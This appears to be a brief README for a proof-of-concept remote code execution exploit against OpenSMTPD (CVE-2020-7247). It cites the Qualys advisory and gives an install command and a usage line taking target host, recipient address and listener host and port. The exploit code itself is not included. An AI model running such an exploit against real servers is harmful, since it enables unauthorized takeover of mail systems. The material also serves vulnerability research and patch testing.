PoC exploit for OpenSMTPD 6.4.0 < 6.6.1 - Remote Code Execution, written by f4T1H, inspired by QTranspose.
Reference: https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
pip3 install pwntools
python3 exploit.py <RHOST> <RPORT> <recipient_mail> <LHOST> <LPORT>